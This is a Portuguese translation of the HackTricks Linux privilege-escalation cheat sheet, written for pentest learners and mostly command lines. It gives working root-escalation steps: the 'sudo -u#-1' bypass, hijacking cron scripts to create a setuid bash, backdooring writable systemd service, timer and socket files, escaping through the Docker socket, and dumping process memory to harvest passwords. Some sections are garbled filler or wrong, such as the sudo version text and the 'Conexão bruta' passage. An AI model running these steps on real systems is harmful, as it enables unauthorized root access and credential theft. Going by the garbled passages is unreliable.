hacktricks/linux-hardening/privilege-escalation/README.md

Linux Escalamento de Privilégios

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
• Descubra A Família PEASS, nossa coleção exclusiva de NFTs
• Adquira o swag oficial do PEASS & HackTricks
• Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
• Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.

Informações do Sistema

Informações do SO

Vamos começar adquirindo conhecimento sobre o SO em execução.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Caminho

Se você possui permissões de escrita em qualquer pasta dentro da variável PATH, você pode ser capaz de sequestrar algumas bibliotecas ou binários:

echo $PATH

Informações do ambiente

Informações interessantes, senhas ou chaves de API nas variáveis de ambiente?

(env || set) 2>/dev/null

Explorações de Kernel

Verifique a versão do kernel e se existe alguma exploração que possa ser usada para elevar privilégios.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Você pode encontrar uma boa lista de kernels vulneráveis e alguns exploits já compilados aqui: https://github.com/lucyoa/kernel-exploits e exploitdb sploits.
Outros sites onde você pode encontrar alguns exploits já compilados: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Para extrair todas as versões vulneráveis do kernel a partir desse site, você pode fazer:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

As seguintes são ferramentas que podem ajudar a procurar por exploits de kernel:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute no alvo, apenas verifica exploits para o kernel 2.x)

Sempre pesquise a versão do kernel no Google, talvez sua versão do kernel esteja mencionada em algum exploit de kernel e assim você terá certeza de que esse exploit é válido.

CVE-2016-5195 (DirtyCow)

Elevação de privilégios no Linux - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Versão do Sudo

Com base nas versões vulneráveis do sudo que aparecem em:

searchsploit sudo

Você pode verificar se a versão do sudo é vulnerável usando este comando grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

De @sickrov

O sudo é um utilitário de linha de comando que permite que usuários comuns executem comandos como superusuários ou outros usuários. No entanto, versões anteriores ao sudo v1.28 possuem uma vulnerabilidade de escalonamento de privilégios que pode ser explorada por um invasor.

Essa vulnerabilidade permite que um usuário mal-intencionado execute comandos com privilégios elevados, mesmo que não tenha permissão para isso. Isso pode levar a comprometimento do sistema e acesso não autorizado a recursos sensíveis.

Para mitigar essa vulnerabilidade, é altamente recomendado atualizar o sudo para a versão mais recente (v1.28 ou superior). Isso garantirá que o sistema esteja protegido contra ataques de escalonamento de privilégios.

Além disso, é importante seguir as práticas recomendadas de segurança, como limitar o acesso ao sudo apenas a usuários confiáveis e monitorar regularmente o sistema em busca de atividades suspeitas.

Para obter mais informações sobre essa vulnerabilidade e como corrigi-la, consulte o link fornecido pelo @sickrov.

sudo -u#-1 /bin/bash

Falha na verificação de assinatura do Dmesg

Verifique a máquina smasher2 do HTB para um exemplo de como essa vulnerabilidade pode ser explorada

dmesg 2>/dev/null | grep "signature"

Mais enumeração do sistema

To further enumerate the system, you can perform the following steps:

1. Check for SUID/SGID binaries: SUID (Set User ID) and SGID (Set Group ID) binaries are executables that run with the permissions of the file owner or group owner, respectively. These binaries can be potential targets for privilege escalation. Use the command find / -perm -4000 -type f 2>/dev/null to find SUID binaries and find / -perm -2000 -type f 2>/dev/null to find SGID binaries.

2. Identify writable directories: Writable directories can be exploited to place malicious files or scripts that can be executed with elevated privileges. Use the command find / -writable -type d 2>/dev/null to find writable directories.

3. Check for world-writable files: World-writable files are files that can be modified by any user on the system. These files can be potential targets for privilege escalation. Use the command find / -perm -2 -type f 2>/dev/null to find world-writable files.

4. Look for cron jobs: Cron jobs are scheduled tasks that run automatically at specified intervals. Malicious cron jobs can be used for privilege escalation. Use the command crontab -l to list the cron jobs for the current user.

5. Check for services running as root: Services running as root can be exploited to gain elevated privileges. Use the command ps aux | grep root to identify services running as root.

6. Review system logs: System logs can contain valuable information about user activities, errors, and potential vulnerabilities. Review log files such as /var/log/syslog, /var/log/auth.log, and /var/log/secure for any suspicious entries.

By performing these steps, you can gather more information about the system and identify potential vulnerabilities that can be exploited for privilege escalation.

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

AppArmor é um sistema de segurança para o Linux que restringe as ações de programas, limitando suas permissões e protegendo o sistema contra ataques. Ele pode ser usado para restringir os privilégios de um programa específico, limitando o que ele pode fazer no sistema. O AppArmor é uma defesa eficaz contra ataques de escalonamento de privilégios, pois impede que programas maliciosos executem ações não autorizadas.

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity é um conjunto de patches de segurança para o kernel do Linux que visa fortalecer as medidas de proteção e mitigar vulnerabilidades. Esses patches fornecem recursos avançados de segurança, como controle de acesso obrigatório (MAC), prevenção de execução de dados (DEP) e proteção contra estouro de pilha.

O Grsecurity é projetado para proteger contra ataques de escalonamento de privilégios, que são uma técnica comum usada por hackers para obter acesso privilegiado a um sistema. Esses ataques exploram vulnerabilidades no sistema operacional para elevar seus próprios privilégios e obter controle total sobre o sistema.

Ao aplicar os patches do Grsecurity, você pode fortalecer a segurança do seu sistema Linux, reduzindo a superfície de ataque e tornando mais difícil para os hackers explorarem vulnerabilidades. Esses patches são frequentemente usados por administradores de sistemas e profissionais de segurança para endurecer sistemas Linux e proteger contra ataques de escalonamento de privilégios.

No entanto, é importante observar que a aplicação dos patches do Grsecurity requer conhecimento técnico e pode exigir modificações no kernel do Linux. Portanto, é recomendável que você tenha experiência em administração de sistemas Linux antes de tentar aplicar esses patches. Além disso, é essencial manter seu sistema atualizado com as últimas correções de segurança e seguir as melhores práticas de segurança para garantir uma proteção eficaz contra ataques.

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

O PaX é um conjunto de patches de segurança para o kernel do Linux que visa mitigar vulnerabilidades de escalonamento de privilégios. Esses patches implementam várias técnicas de proteção, como a randomização de endereços de memória (ASLR), a proteção contra execução de dados (DEP) e a restrição de permissões de execução. Essas medidas ajudam a prevenir ataques de escalonamento de privilégios, tornando mais difícil para um invasor obter privilégios elevados em um sistema comprometido. O PaX é uma ferramenta valiosa para fortalecer a segurança do Linux e reduzir o risco de exploração de vulnerabilidades.

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

O Execshield é uma técnica de proteção de segurança implementada no kernel do Linux para mitigar ataques de escalonamento de privilégios. Ele foi projetado para proteger o sistema contra explorações de estouro de buffer e ataques de injeção de código.

O Execshield implementa duas medidas principais de segurança:

1. Randomização de espaço de endereço: O Execshield randomiza o espaço de endereço do processo em tempo de execução, tornando mais difícil para um atacante prever a localização da memória do processo. Isso dificulta a exploração de vulnerabilidades baseadas em endereço.

2. Proteção NX: O Execshield marca as páginas de memória como não executáveis (NX), impedindo a execução de código em áreas de memória que deveriam conter apenas dados. Isso ajuda a prevenir ataques de injeção de código, como ataques de estouro de buffer.

Essas medidas de segurança fornecidas pelo Execshield ajudam a fortalecer a segurança do sistema operacional Linux, tornando mais difícil para os atacantes explorarem vulnerabilidades e escalarem seus privilégios.

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

O Security-Enhanced Linux (SElinux) é um mecanismo de controle de acesso obrigatório (MAC) para o kernel Linux. Ele fornece uma camada adicional de segurança, restringindo as ações que os processos podem realizar no sistema. O SElinux é usado para proteger contra ataques de escalonamento de privilégios, onde um invasor tenta obter privilégios mais altos do que os que foram inicialmente concedidos.

O SElinux implementa políticas de segurança que definem as permissões e restrições para processos, arquivos, diretórios e portas de rede. Essas políticas são baseadas em regras que especificam quais ações são permitidas ou negadas. Quando uma ação é negada, o SElinux registra uma mensagem de auditoria para que os administradores possam identificar e investigar possíveis violações de segurança.

Ao habilitar o SElinux, você pode fortalecer a segurança do seu sistema Linux, reduzindo a superfície de ataque e limitando as ações que os processos podem realizar. No entanto, a implementação do SElinux pode ser complexa e requer um entendimento detalhado das políticas de segurança e das regras de permissão.

Neste diretório, você encontrará informações e técnicas relacionadas à escalada de privilégios no contexto do SElinux. Essas técnicas exploram vulnerabilidades ou configurações inadequadas do SElinux para obter privilégios mais altos no sistema. É importante entender essas técnicas para poder proteger seu sistema contra possíveis ataques.

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

O ASLR (Address Space Layout Randomization) é uma técnica de segurança utilizada para dificultar ataques de escalonamento de privilégios em sistemas Linux. O objetivo do ASLR é randomizar a localização na memória dos componentes do sistema, como bibliotecas, pilhas e segmentos de código, tornando mais difícil para um invasor prever onde esses componentes estão localizados na memória.

Quando o ASLR está ativado, os endereços de memória são aleatoriamente escolhidos durante a inicialização do sistema operacional. Isso significa que cada vez que o sistema é reiniciado, os endereços de memória serão diferentes, tornando mais difícil para um invasor explorar vulnerabilidades de escalonamento de privilégios.

O ASLR pode ser configurado para diferentes níveis de randomização, como randomização completa ou parcial. A randomização completa randomiza todos os componentes do sistema, enquanto a randomização parcial randomiza apenas alguns componentes específicos.

Para verificar se o ASLR está ativado em um sistema Linux, você pode executar o seguinte comando:

$ cat /proc/sys/kernel/randomize_va_space

Se o valor retornado for 2, significa que o ASLR está ativado. Se o valor for 0, significa que o ASLR está desativado. Para ativar o ASLR, você pode executar o seguinte comando:

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Lembre-se de que o ASLR é apenas uma medida de segurança adicional e não deve ser a única técnica de proteção utilizada. É importante implementar outras práticas de segurança, como atualizações regulares do sistema operacional e aplicação de patches de segurança.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Se você estiver dentro de um contêiner Docker, pode tentar escapar dele:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Drives

Verifique o que está montado e desmontado, onde e por quê. Se algo estiver desmontado, você pode tentar montá-lo e verificar informações privadas.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software útil

Enumerar binários úteis

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Também, verifique se algum compilador está instalado. Isso é útil se você precisar usar alguma exploração de kernel, pois é recomendado compilá-la na máquina onde você vai usá-la (ou em uma similar).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software Vulnerável Instalado

Verifique a versão dos pacotes e serviços instalados. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para a escalada de privilégios...
Recomenda-se verificar manualmente a versão do software instalado mais suspeito.

dpkg -l #Debian
rpm -qa #Centos

Se você tiver acesso SSH à máquina, também poderá usar o openVAS para verificar se há software desatualizado e vulnerável instalado na máquina.

{% hint style="info" %} Observe que esses comandos mostrarão muitas informações que serão em sua maioria inúteis, portanto, é recomendável usar aplicativos como o OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos {% endhint %}

Processos

Dê uma olhada nos processos em execução e verifique se algum processo possui mais privilégios do que deveria (talvez um tomcat sendo executado pelo root?)

ps aux
ps -ef
top -n 1

Sempre verifique se há possíveis depuradores [electron/cef/chromium] em execução, você pode abusar disso para elevar privilégios. O Linpeas detecta isso verificando o parâmetro --inspect na linha de comando do processo.
Também verifique seus privilégios sobre os binários dos processos, talvez você possa sobrescrever alguém.

Monitoramento de processos

Você pode usar ferramentas como pspy para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido.

Memória do processo

Alguns serviços de um servidor salvam credenciais em texto claro dentro da memória.
Normalmente, você precisará de privilégios de root para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.
No entanto, lembre-se de que como usuário regular, você pode ler a memória dos processos que você possui.

{% hint style="warning" %} Observe que atualmente a maioria das máquinas não permite ptrace por padrão, o que significa que você não pode despejar outros processos que pertencem ao seu usuário não privilegiado.

O arquivo /proc/sys/kernel/yama/ptrace_scope controla a acessibilidade do ptrace:

• kernel.yama.ptrace_scope = 0: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava.
• kernel.yama.ptrace_scope = 1: apenas um processo pai pode ser depurado.
• kernel.yama.ptrace_scope = 2: Apenas o administrador pode usar o ptrace, pois requer a capacidade CAP_SYS_PTRACE.
• kernel.yama.ptrace_scope = 3: Nenhum processo pode ser rastreado com o ptrace. Uma reinicialização é necessária para habilitar o rastreamento novamente. {% endhint %}

GDB

Se você tiver acesso à memória de um serviço FTP (por exemplo), poderá obter o Heap e procurar dentro dele por credenciais.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script GDB

{% code title="dump-memory.sh" %}

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

{% endcode %}

/proc/$pid/maps & /proc/$pid/mem

Para um determinado ID de processo, o arquivo maps mostra como a memória é mapeada dentro do espaço de endereço virtual desse processo; ele também mostra as permissões de cada região mapeada. O arquivo pseudo mem expõe a própria memória dos processos. A partir do arquivo maps, sabemos quais regiões de memória são legíveis e seus deslocamentos. Usamos essas informações para procurar no arquivo mem e despejar todas as regiões legíveis em um arquivo.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fornece acesso à memória física do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.
Normalmente, /dev/mem só pode ser lido pelo usuário root e pelo grupo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump para Linux

ProcDump é uma reimaginação do clássico ProcDump, uma ferramenta da suíte Sysinternals para Windows, agora disponível para Linux. Você pode obtê-lo em https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Ferramentas

Para fazer o dump da memória de um processo, você pode usar:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Você pode remover manualmente os requisitos de root e fazer o dump do processo de propriedade sua
• Script A.5 de https://www.delaat.net/rp/2016-2017/p97/report.pdf (é necessário ter root)

Credenciais da Memória do Processo

Exemplo manual

Se você descobrir que o processo do autenticador está em execução:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Você pode despejar o processo (consulte as seções anteriores para encontrar diferentes maneiras de despejar a memória de um processo) e procurar por credenciais dentro da memória:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

A ferramenta https://github.com/huntergregal/mimipenguin irá roubar credenciais em texto claro da memória e de alguns arquivos conhecidos. É necessário ter privilégios de root para que funcione corretamente.

Recurso	Nome do Processo
Senha do GDM (Kali Desktop, Debian Desktop)	gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)	gnome-keyring-daemon
LightDM (Ubuntu Desktop)	lightdm
VSFTPd (Conexões FTP Ativas)	vsftpd
Apache2 (Sessões de Autenticação HTTP Básica Ativas)	apache2
OpenSSH (Sessões SSH Ativas - Uso do Sudo)	sshd:

Expressões Regulares de Pesquisa/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Tarefas agendadas/Cron jobs

Verifique se alguma tarefa agendada está vulnerável. Talvez você possa aproveitar um script sendo executado pelo root (vulnerabilidade de caractere curinga? pode modificar arquivos que o root usa? usar links simbólicos? criar arquivos específicos no diretório que o root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Caminho do Cron

Por exemplo, dentro do /etc/crontab você pode encontrar o PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Observe como o usuário "user" possui privilégios de escrita sobre /home/user)

Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o caminho. Por exemplo: * * * * root overwrite.sh
Então, você pode obter um shell de root usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron usando um script com um caractere curinga (Injeção de Caractere Curinga)

Se um script executado pelo root contém um "*" dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como escalonamento de privilégios). Exemplo:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se o caractere curinga for precedido por um caminho como /algum/caminho/*, ele não é vulnerável (mesmo _./* não é).

Leia a seguinte página para mais truques de exploração de caracteres curinga:

{% content-ref url="wildcards-spare-tricks.md" %} wildcards-spare-tricks.md {% endcontent-ref %}

Sobrescrevendo script Cron e symlink

Se você puder modificar um script Cron executado pelo root, você pode obter um shell muito facilmente:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se o script executado pelo root utiliza um diretório no qual você tem acesso total, talvez seja útil excluir essa pasta e criar um link simbólico para outra pasta que sirva um script controlado por você.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Tarefas cron frequentes

Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa aproveitar isso e elevar os privilégios.

Por exemplo, para monitorar a cada 0,1s durante 1 minuto, ordenar por comandos menos executados e excluir os comandos que foram executados com mais frequência, você pode fazer:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Você também pode usar pspy (isso irá monitorar e listar todos os processos que iniciam).

Trabalhos cron invisíveis

É possível criar um trabalho cron colocando uma quebra de linha após um comentário (sem caractere de nova linha), e o trabalho cron irá funcionar. Exemplo (observe o caractere de quebra de linha):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Serviços

Arquivos .service graváveis

Verifique se você pode escrever algum arquivo .service, se puder, você poderá modificá-lo para que ele execute sua porta dos fundos quando o serviço for iniciado, reiniciado ou parado (talvez seja necessário aguardar até que a máquina seja reiniciada).
Por exemplo, crie sua porta dos fundos dentro do arquivo .service com ExecStart=/tmp/script.sh

Binários de serviço graváveis

Lembre-se de que se você tiver permissões de gravação sobre os binários executados pelos serviços, poderá alterá-los para portas dos fundos, para que quando os serviços sejam reexecutados, as portas dos fundos também sejam executadas.

systemd PATH - Caminhos Relativos

Você pode ver o PATH usado pelo systemd com:

systemctl show-environment

Se você descobrir que pode escrever em qualquer uma das pastas do caminho, talvez seja possível elevar privilégios. Você precisa procurar por caminhos relativos sendo usados em arquivos de configuração de serviços, como:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Em seguida, crie um executável com o mesmo nome do caminho relativo binário dentro da pasta PATH do systemd em que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (Iniciar, Parar, Recarregar), sua porta dos fundos será executada (usuários não privilegiados geralmente não podem iniciar/parar serviços, mas verifique se você pode usar sudo -l).

Saiba mais sobre serviços com man systemd.service.

Agendadores

Agendadores são arquivos de unidade do systemd cujo nome termina em **.timer** que controlam arquivos ou eventos **.service**. Agendadores podem ser usados como uma alternativa ao cron, pois possuem suporte integrado para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona.

Você pode enumerar todos os agendadores com:

systemctl list-timers --all

Timers graváveis

Se você pode modificar um timer, você pode fazer com que ele execute algumas existências de systemd.unit (como um .service ou um .target)

Unit=backdoor.service

Na documentação, você pode ler o que é uma Unidade:

A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, esse valor será o padrão para um serviço que tem o mesmo nome da unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendado que o nome da unidade ativada e o nome da unidade do temporizador sejam nomeados de forma idêntica, exceto pelo sufixo.

Portanto, para abusar dessa permissão, você precisaria:

• Encontrar alguma unidade do systemd (como um .service) que esteja executando um binário gravável
• Encontrar alguma unidade do systemd que esteja executando um caminho relativo e você tenha privilégios de gravação sobre o PATH do systemd (para se passar por esse executável)

Saiba mais sobre temporizadores com man systemd.timer.

Habilitando o Temporizador

Para habilitar um temporizador, você precisa de privilégios de root e executar:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Observe que o timer é ativado criando um symlink para ele em /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Em resumo, um Unix Socket (tecnicamente, o nome correto é Unix Domain Socket, UDS) permite a comunicação entre dois processos diferentes na mesma máquina ou em máquinas diferentes em estruturas de aplicativos cliente-servidor. Para ser mais preciso, é uma forma de comunicação entre computadores usando um arquivo de descritores Unix padrão. (De aqui).

Os sockets podem ser configurados usando arquivos .socket.

Saiba mais sobre sockets com man systemd.socket. Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Essas opções são diferentes, mas um resumo é usado para indicar onde ele vai ouvir o socket (o caminho do arquivo de socket AF_UNIX, o número de porta IPv4/6 para ouvir, etc.)
• Accept: Aceita um argumento booleano. Se verdadeiro, uma instância de serviço é iniciada para cada conexão recebida e apenas o socket de conexão é passado para ela. Se falso, todos os sockets de escuta em si são passados para a unidade de serviço iniciada, e apenas uma unidade de serviço é iniciada para todas as conexões. Esse valor é ignorado para sockets de datagrama e FIFOs, onde uma única unidade de serviço manipula incondicionalmente todo o tráfego recebido. Padrão: falso. Por motivos de desempenho, é recomendado escrever novos daemons apenas de uma maneira adequada para Accept=no.
• ExecStartPre, ExecStartPost: Aceita uma ou mais linhas de comando, que são executadas antes ou depois dos sockets/FIFOs de escuta serem criados e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido de argumentos para o processo.
• ExecStopPre, ExecStopPost: Comandos adicionais que são executados antes ou depois dos sockets/FIFOs de escuta serem fechados e removidos, respectivamente.
• Service: Especifica o nome da unidade de serviço a ser ativada no tráfego recebido. Essa configuração só é permitida para sockets com Accept=no. Por padrão, é usado o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção.

Arquivos .socket graváveis

Se você encontrar um arquivo .socket gravável, você pode adicionar no início da seção [Socket] algo como: ExecStartPre=/home/kali/sys/backdoor e a porta dos fundos será executada antes que o socket seja criado. Portanto, você provavelmente precisará esperar até que a máquina seja reiniciada.
Observe que o sistema deve estar usando essa configuração de arquivo de socket, caso contrário, a porta dos fundos não será executada.

Sockets graváveis

Se você identificar algum socket gravável (agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração .socket), então você pode se comunicar com esse socket e talvez explorar uma vulnerabilidade.

Enumerar Unix Sockets

netstat -a -p --unix

Conexão bruta

A conexão bruta é uma técnica utilizada para estabelecer uma conexão direta com um sistema alvo, sem a necessidade de autenticação. Isso pode ser útil durante um teste de penetração para explorar vulnerabilidades e obter acesso privilegiado.

Existem várias ferramentas disponíveis para estabelecer uma conexão bruta, como o Netcat e o Telnet. Essas ferramentas permitem que você se conecte a uma porta específica em um sistema remoto e interaja com ele diretamente.

No entanto, é importante ressaltar que o uso da conexão bruta pode ser ilegal e violar a privacidade e a segurança de terceiros. Portanto, é fundamental obter permissão adequada antes de realizar qualquer teste de penetração ou atividade de hacking.

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exemplo de exploração:

{% content-ref url="socket-command-injection.md" %} socket-command-injection.md {% endcontent-ref %}

Sockets HTTP

Observe que pode haver alguns sockets ouvindo por requisições HTTP (Não estou falando sobre arquivos .socket, mas sim sobre arquivos que atuam como sockets unix). Você pode verificar isso com:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Se o socket responder com uma solicitação HTTP, então você pode comunicar com ele e talvez explorar alguma vulnerabilidade.

Socket Docker Gravável

O socket do docker geralmente está localizado em /var/run/docker.sock e só pode ser gravado pelo usuário root e pelo grupo docker.
Se, por algum motivo, você tiver permissões de gravação nesse socket, poderá elevar privilégios.
Os seguintes comandos podem ser usados para elevar privilégios:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Usar a API web do Docker a partir do socket sem o pacote Docker

Se você tem acesso ao socket do Docker, mas não pode usar o binário do Docker (talvez nem esteja instalado), você pode usar a API web diretamente com o curl.

Os comandos a seguir são um exemplo de como criar um contêiner do Docker que monta a raiz do sistema host e usa o socat para executar comandos no novo contêiner do Docker.

# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
#{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

O último passo é usar o socat para iniciar uma conexão com o contêiner, enviando uma solicitação de "attach".

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp

Agora você pode executar comandos no contêiner a partir desta conexão socat.

Outros

